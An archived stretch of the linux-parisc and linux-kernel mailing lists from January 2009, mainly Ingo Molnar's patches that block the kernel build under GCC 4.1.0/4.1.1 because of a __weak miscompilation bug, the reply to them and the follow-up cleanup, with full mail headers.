>  [<0000000040204a9c>] bio_fs_destructor+0x1c/0x28
>  [<00000000402023f8>] bio_put+0x88/0xa0
>  [<0000000040209b64>] mpage_end_io_write+0xcc/0x138
>  [<00000000402024e0>] bio_endio+0x70/0x90
>  [<000000004025bd60>] req_bio_endio+0xf8/0x158
>  [<000000004025befc>] __end_that_request_first+0x13c/0x3f8
>  [<000000004025c1f4>] end_that_request_data+0x3c/0xa8
> 
> Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
	modules (take 4)
Date: Fri, 2 Jan 2009 12:31:15 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20090102113115.GA3027@elte.hu>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> <ada63l0qmba.fsf@cisco.com> <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231181136.GA4382@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230895913 4669 80.91.229.12 (2 Jan 2009 11:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 11:31:53 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Roland Dreier <rdreier@cisco.com>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 12:33:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIiGx-000771-7d
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 12:32:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755803AbZABLbm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 06:31:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756557AbZABLbm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 06:31:42 -0500
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:43610 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755803AbZABLbk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 06:31:40 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LIiFM-0001g6-6a
	from <mingo@elte.hu>; Fri, 02 Jan 2009 12:31:22 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id A30D33E21A7; Fri,  2 Jan 2009 12:31:16 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20081231181136.GA4382@uranus.ravnborg.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1088 gmane.linux.kernel:774385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1088>


* Sam Ravnborg <sam@ravnborg.org> wrote:

> > I guess I could make a sparse rule for this, but nobody seems to run 
> > or care about sparse anyway. Sad.
> 
> There is some increased janitorial effort recently. Try to grep for 
> [Ss]+parse in the shortlog for the last couple of months.

in the x86 space there's a lot of Sparse activity as well: a number of 
developers do systematic runs of Sparse and keep the tree Sparse-clean.

The moment this spreads to a critical mass of subsystems we can start 
automating it. (as i was able to automate the checking of -Werr builds on 
x86, with arbitrary random .config's)

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 12:55:48 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <20090102115547.GB3027@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230897407 8354 80.91.229.12 (2 Jan 2009 11:56:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 11:56:47 +0000 (UTC)
Cc: akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: David Miller <davem@davemloft.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 12:57:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIiev-0005C4-QS
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 12:57:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757366AbZABL43 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 06:56:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757330AbZABL43
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 06:56:29 -0500
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:49854 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757180AbZABL41 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 06:56:27 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1LIid7-00078G-5S
	from <mingo@elte.hu>; Fri, 02 Jan 2009 12:55:59 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id B80613E21A7; Fri,  2 Jan 2009 12:55:46 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20081231.141408.60544902.davem@davemloft.net>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1089 gmane.linux.kernel:774391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1089>


* David Miller <davem@davemloft.net> wrote:

> From: Linus Torvalds <torvalds@linux-foundation.org>
> Date: Wed, 31 Dec 2008 13:22:53 -0800 (PST)
> 
> > On Wed, 31 Dec 2008, Andrew Morton wrote:
> > > 
> > > Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> > > banning them: http://lkml.org/lkml/2008/8/5/444
> > 
> > If it really is just those releases, then yes, considering the number 
> > of cases we apparently have, and considering how ugly it is in some 
> > cases to move the weak function anywhere else, maybe banning those 
> > versions is the proper thing to do.
> > 
> > It probably won't hurt very many people - yeah, some people will be 
> > forced to upgrade, but I have this memory of early 4.1 having had 
> > other bugs anyway, so it's probably a good idea.
> 
> I think this is probably the best way to handle this.

okay - to move this matter from the discussion-space to the 
solution-space, how about the patch below? (tested on x86 with a 
non-affected compiler version.)

	Ingo

-------------->
>From e6346e5ab54dcf12888a79dfd5402f5de09b3fad Mon Sep 17 00:00:00 2001
From: Ingo Molnar <mingo@elte.hu>
Date: Fri, 2 Jan 2009 12:46:22 +0100
Subject: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1

Impact: fix crashes that can trigger if built with GCC 4.1.0 or 4.1.1

GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
by inlining __weak functions into same-file call sites - breaking the
kernel if the __weak symbol is overriden later on.

In the past we tried to work around this problem by artificially
isolating call site and definition site - but these bugs tend to
pop up regularly:

 43a2563: sparseirq: move __weak symbols into separate compilation unit
 13a0c3c: sparseirq: work around compiler optimizing away __weak functions

And Linus has extended Sparse to report same-file callsites for __weak
symbols - which gave two dozen hits.

We have not found a clean way to work around this bug on the source
code level (noinline and explicit barrier()s are ignored by GCC), so we do
not allow these compilers (which are quite rare these days, have other bugs
and are superceded by the 4.1.2 bugfix release anyway).

Kernel builds under gcc 410 or 411 will now fail with this error message:

  Sorry, your compiler is too old, too buggy or not recognized.

Signed-off-by: Ingo Molnar <mingo@elte.hu>
---
 include/linux/compiler.h |   17 +++++++++++++++--
 1 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/include/linux/compiler.h b/include/linux/compiler.h
index ea7c6be..dd558ce 100644
--- a/include/linux/compiler.h
+++ b/include/linux/compiler.h
@@ -36,12 +36,25 @@ extern void __chk_io_ptr(const volatile void __iomem *);
 
 #ifdef __KERNEL__
 
-#if __GNUC__ >= 4
+/*
+ * GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
+ * by inlining __weak functions into same-file call sites - breaking the
+ * kernel if the __weak symbol is overriden later on.
+ *
+ * We have not found a clean way to work around this bug on the source
+ * code level, so we do not allow these compilers (which are quite
+ * rare these days, have other bugs and are superceded by the 4.1.2
+ * bugfix release anyway):
+ */
+#define gcc41_inlining_bug \
+	(__GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ <= 1)
+
+#if __GNUC__ >= 4 && !gcc41_inlining_bug
 # include <linux/compiler-gcc4.h>
 #elif __GNUC__ == 3 && __GNUC_MINOR__ >= 2
 # include <linux/compiler-gcc3.h>
 #else
-# error Sorry, your compiler is too old/not recognized.
+# error Sorry, your compiler is too old, too buggy or not recognized.
 #endif
 
 #define notrace __attribute__((no_instrument_function))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 14:43:58 +0100
Lines: 109
Approved: news@gmane.org
Message-ID: <200901021443.58769.bzolnier@gmail.com>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230903859 25606 80.91.229.12 (2 Jan 2009 13:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 13:44:19 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 14:45:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIkL4-00075u-0G
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 14:45:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756868AbZABNoF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 08:44:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756263AbZABNoF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 08:44:05 -0500
Original-Received: from mail-bw0-f21.google.com ([209.85.218.21]:34177 "EHLO
	mail-bw0-f21.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756147AbZABNoC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 08:44:02 -0500
Original-Received: by bwz14 with SMTP id 14so20069326bwz.13
        for <multiple recipients>; Fri, 02 Jan 2009 05:43:59 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version
         :content-disposition:message-id:content-type
         :content-transfer-encoding;
        bh=76UvPidNY6CuXsvJitai8jNV9pQJxWKpatZn+kaDe4s=;
        b=MbDhY7ZMAcrjdutlL2T4SAW1akUThZDckieJhMybr7rT3tqfpV6SOZ4Kz7k4bFQcPS
         qv5x30BII9wzVvj0Z5QoP0bGR6gixwu1PeyLu1u6jTDNJZlGhRHzgQPPGvrMk6BMmWGg
         8OKnhAuaIbuZ1Ts+71CGb5ZLE6xxW+Q2pg9U4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-disposition:message-id:content-type
         :content-transfer-encoding;
        b=KZSF/dVA6EuL3eOKp0xywje9NlGsPlTjCR0TxKqV/YbYo6tOHBDMXgm/mp7wGjyrdC
         v25PDUSCjr/cjKaXLe9gg+5IppOhV2EShVrc8UwRrQ6UrIFDifexTkD2ncxmQp1BOYsI
         QsNnEBoYbtXocvGP8Sz5f7GrJcw9tdSm8G1nQ=
Original-Received: by 10.103.249.19 with SMTP id b19mr6365156mus.86.1230903838936;
        Fri, 02 Jan 2009 05:43:58 -0800 (PST)
Original-Received: from localhost.localdomain (chello089077051219.chello.pl [89.77.51.219])
        by mx.google.com with ESMTPS id e10sm39453270muf.18.2009.01.02.05.43.56
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 02 Jan 2009 05:43:57 -0800 (PST)
User-Agent: KMail/1.10.3 (Linux/2.6.28-next-20081231-dirty; KDE/4.1.3; i686; ; )
In-Reply-To: <20090102115547.GB3027@elte.hu>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1090 gmane.linux.kernel:774413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1090>

On Friday 02 January 2009, Ingo Molnar wrote:
> 
> * David Miller <davem@davemloft.net> wrote:
> 
> > From: Linus Torvalds <torvalds@linux-foundation.org>
> > Date: Wed, 31 Dec 2008 13:22:53 -0800 (PST)
> > 
> > > On Wed, 31 Dec 2008, Andrew Morton wrote:
> > > > 
> > > > Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> > > > banning them: http://lkml.org/lkml/2008/8/5/444
> > > 
> > > If it really is just those releases, then yes, considering the number 
> > > of cases we apparently have, and considering how ugly it is in some 
> > > cases to move the weak function anywhere else, maybe banning those 
> > > versions is the proper thing to do.
> > > 
> > > It probably won't hurt very many people - yeah, some people will be 
> > > forced to upgrade, but I have this memory of early 4.1 having had 
> > > other bugs anyway, so it's probably a good idea.
> > 
> > I think this is probably the best way to handle this.
> 
> okay - to move this matter from the discussion-space to the 
> solution-space, how about the patch below? (tested on x86 with a 
> non-affected compiler version.)

...or we can just merge Adrian's patch from June 2008 which also fixes
the issue nicely.

OTOH your patch has an advantage of addressing the problem in the more
appropriate place (include/linux/compiler.h) and from what I see allows
us to remove previous gcc 4.1.0 check from init/main.c?

> 	Ingo
> 
> -------------->
> From e6346e5ab54dcf12888a79dfd5402f5de09b3fad Mon Sep 17 00:00:00 2001
> From: Ingo Molnar <mingo@elte.hu>
> Date: Fri, 2 Jan 2009 12:46:22 +0100
> Subject: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
> 
> Impact: fix crashes that can trigger if built with GCC 4.1.0 or 4.1.1
> 
> GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
> by inlining __weak functions into same-file call sites - breaking the
> kernel if the __weak symbol is overriden later on.
> 
> In the past we tried to work around this problem by artificially
> isolating call site and definition site - but these bugs tend to
> pop up regularly:
> 
>  43a2563: sparseirq: move __weak symbols into separate compilation unit
>  13a0c3c: sparseirq: work around compiler optimizing away __weak functions
> 
> And Linus has extended Sparse to report same-file callsites for __weak
> symbols - which gave two dozen hits.
> 
> We have not found a clean way to work around this bug on the source
> code level (noinline and explicit barrier()s are ignored by GCC), so we do
> not allow these compilers (which are quite rare these days, have other bugs
> and are superceded by the 4.1.2 bugfix release anyway).
> 
> Kernel builds under gcc 410 or 411 will now fail with this error message:
> 
>   Sorry, your compiler is too old, too buggy or not recognized.
> 
> Signed-off-by: Ingo Molnar <mingo@elte.hu>
> ---
>  include/linux/compiler.h |   17 +++++++++++++++--
>  1 files changed, 15 insertions(+), 2 deletions(-)
> 
> diff --git a/include/linux/compiler.h b/include/linux/compiler.h
> index ea7c6be..dd558ce 100644
> --- a/include/linux/compiler.h
> +++ b/include/linux/compiler.h
> @@ -36,12 +36,25 @@ extern void __chk_io_ptr(const volatile void __iomem *);
>  
>  #ifdef __KERNEL__
>  
> -#if __GNUC__ >= 4
> +/*
> + * GCC 4.1.0 and 4.1.1 has a bug that can miscompile __weak symbols,
> + * by inlining __weak functions into same-file call sites - breaking the
> + * kernel if the __weak symbol is overriden later on.
> + *
> + * We have not found a clean way to work around this bug on the source
> + * code level, so we do not allow these compilers (which are quite
> + * rare these days, have other bugs and are superceded by the 4.1.2
> + * bugfix release anyway):
> + */
> +#define gcc41_inlining_bug \
> +	(__GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ <= 1)
> +
> +#if __GNUC__ >= 4 && !gcc41_inlining_bug
>  # include <linux/compiler-gcc4.h>
>  #elif __GNUC__ == 3 && __GNUC_MINOR__ >= 2
>  # include <linux/compiler-gcc3.h>
>  #else
> -# error Sorry, your compiler is too old/not recognized.
> +# error Sorry, your compiler is too old, too buggy or not recognized.
>  #endif
>  
>  #define notrace __attribute__((no_instrument_function))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] kbuild: Remove gcc 4.1.0 quirk from init/main.c
Date: Fri, 2 Jan 2009 16:21:24 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <20090102152124.GA19091@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <200901021443.58769.bzolnier@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230909744 10269 80.91.229.12 (2 Jan 2009 15:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 15:22:24 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 16:23:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIlrv-00018t-To
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 16:23:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752797AbZABPWD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 10:22:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752553AbZABPWD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 10:22:03 -0500
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:60084 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750819AbZABPWB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 10:22:01 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1LIlq6-0005Zz-DV
	from <mingo@elte.hu>; Fri, 02 Jan 2009 16:21:30 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 7B0DC3E21AA; Fri,  2 Jan 2009 16:21:25 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200901021443.58769.bzolnier@gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1091 gmane.linux.kernel:774435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1091>


* Bartlomiej Zolnierkiewicz <bzolnier@gmail.com> wrote:

> On Friday 02 January 2009, Ingo Molnar wrote:
> > 
> > * David Miller <davem@davemloft.net> wrote:
> > 
> > > From: Linus Torvalds <torvalds@linux-foundation.org>
> > > Date: Wed, 31 Dec 2008 13:22:53 -0800 (PST)
> > > 
> > > > On Wed, 31 Dec 2008, Andrew Morton wrote:
> > > > > 
> > > > > Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> > > > > banning them: http://lkml.org/lkml/2008/8/5/444
> > > > 
> > > > If it really is just those releases, then yes, considering the number 
> > > > of cases we apparently have, and considering how ugly it is in some 
> > > > cases to move the weak function anywhere else, maybe banning those 
> > > > versions is the proper thing to do.
> > > > 
> > > > It probably won't hurt very many people - yeah, some people will be 
> > > > forced to upgrade, but I have this memory of early 4.1 having had 
> > > > other bugs anyway, so it's probably a good idea.
> > > 
> > > I think this is probably the best way to handle this.
> > 
> > okay - to move this matter from the discussion-space to the 
> > solution-space, how about the patch below? (tested on x86 with a 
> > non-affected compiler version.)
> 
> ...or we can just merge Adrian's patch from June 2008 which also fixes 
> the issue nicely.

didnt know about that patch, but yeah, sure.

> OTOH your patch has an advantage of addressing the problem in the more 
> appropriate place (include/linux/compiler.h) and from what I see allows 
> us to remove previous gcc 4.1.0 check from init/main.c?

Good spotting - find followup cleanup patch below.

	Ingo

------------------->
>From d23cbaaa342e5555a919a543095d656415a55950 Mon Sep 17 00:00:00 2001
From: Ingo Molnar <mingo@elte.hu>
Date: Fri, 2 Jan 2009 16:16:16 +0100
Subject: [PATCH] kbuild: Remove gcc 4.1.0 quirk from init/main.c

Impact: cleanup

We now have a cleaner check for gcc 4.1.0/4.1.1 trouble in
include/linux/compiler.h, so remove the 4.1.0 quirk from
init/main.c.

Reported-by: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
---
 init/main.c |    9 ---------
 1 files changed, 0 insertions(+), 9 deletions(-)

diff --git a/init/main.c b/init/main.c
index 2a7ce0f..5ced153 100644
--- a/init/main.c
+++ b/init/main.c
@@ -75,15 +75,6 @@
 #include <asm/smp.h>
 #endif
 
-/*
- * This is one of the first .c files built. Error out early if we have compiler
- * trouble.
- */
-
-#if __GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ == 0
-#warning gcc-4.1.0 is known to miscompile the kernel.  A different compiler version is recommended.
-#endif

From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Fri, 2 Jan 2009 11:32:54 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090102163255.42E0A4EF0@hiauly1.hia.nrc.ca>
References: <495DDB0E.9010203@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230913989 23405 80.91.229.12 (2 Jan 2009 16:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 16:33:09 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, kyle@infradead.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 17:34:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LImyX-0004ze-17
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 17:34:17 +0100
